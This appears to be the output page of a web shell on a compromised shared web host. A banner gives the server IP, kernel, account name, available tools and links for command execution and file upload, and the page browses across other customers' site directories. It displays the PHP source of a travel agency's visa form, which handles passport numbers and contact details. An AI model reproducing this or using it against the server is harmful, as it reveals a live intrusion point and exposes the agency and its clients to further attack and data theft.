Server IP : 103.53.40.154 / Your IP : 13.59.112.169 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/biocareaqua.org/../heats.co.in/../alkareemtravel.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php //get data from form $name = $_POST['sender_name']; $email= $_POST['sender_email']; $message= $_POST['enquiry_detail']; $mobile= $_POST['sender_mobile']; $passport_no= $_POST['passport_no']; $no_of_days= $_POST['no_of_days']; $country= $_POST['country']; // $img=$_POST['img']; $to = "info@alkareemtravel.com"; //admin official mail $subject = "Mail From Visit Visa Form"; $txt ="Name = ". $name . "\r\n Email = " . $email. "\r\n Mobile Number =" . $mobile. "\r\n Passport No. =" . $passport_no. "\r\n Country =" . $country. "\r\n No. Of Days =" . $no_of_days; $headers = "From: noreply@Alkareentravel.com" . "\r\n" . "CC: somebodyelse@example.com"; if($email!=NULL){ mail($to,$subject,$txt,$headers); } //redirect echo ("<script LANGUAGE='JavaScript'> window.alert('Succesfully sent'); window.location.href='visit-visa.php'; </script>"); ?>